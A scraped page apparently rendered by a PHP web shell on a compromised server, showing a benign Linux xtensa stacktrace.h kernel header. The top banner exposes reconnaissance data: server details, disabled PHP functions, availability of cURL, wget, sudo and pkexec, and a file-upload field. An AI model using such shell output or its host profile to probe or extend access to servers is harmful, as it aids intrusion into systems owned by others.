Server IP : 172.67.216.182 / Your IP : 172.70.188.20 Web Server : Apache System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64 User : www ( 1000) PHP Version : 7.4.33 Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /usr/src/linux-headers-5.15.0-142-generic/arch/xtensa/include/asm/ |
Upload File : |
/* * arch/xtensa/include/asm/stacktrace.h * * This file is subject to the terms and conditions of the GNU General Public * License. See the file "COPYING" in the main directory of this archive * for more details. * * Copyright (C) 2001 - 2013 Tensilica Inc. */ #ifndef _XTENSA_STACKTRACE_H #define _XTENSA_STACKTRACE_H #include <linux/sched.h> struct stackframe { unsigned long pc; unsigned long sp; }; static __always_inline unsigned long *stack_pointer(struct task_struct *task) { unsigned long *sp; if (!task || task == current) __asm__ __volatile__ ("mov %0, a1\n" : "=a"(sp)); else sp = (unsigned long *)task->thread.sp; return sp; } void walk_stackframe(unsigned long *sp, int (*fn)(struct stackframe *frame, void *data), void *data); void xtensa_backtrace_kernel(struct pt_regs *regs, unsigned int depth, int (*kfn)(struct stackframe *frame, void *data), int (*ufn)(struct stackframe *frame, void *data), void *data); void xtensa_backtrace_user(struct pt_regs *regs, unsigned int depth, int (*ufn)(struct stackframe *frame, void *data), void *data); #endif /* _XTENSA_STACKTRACE_H */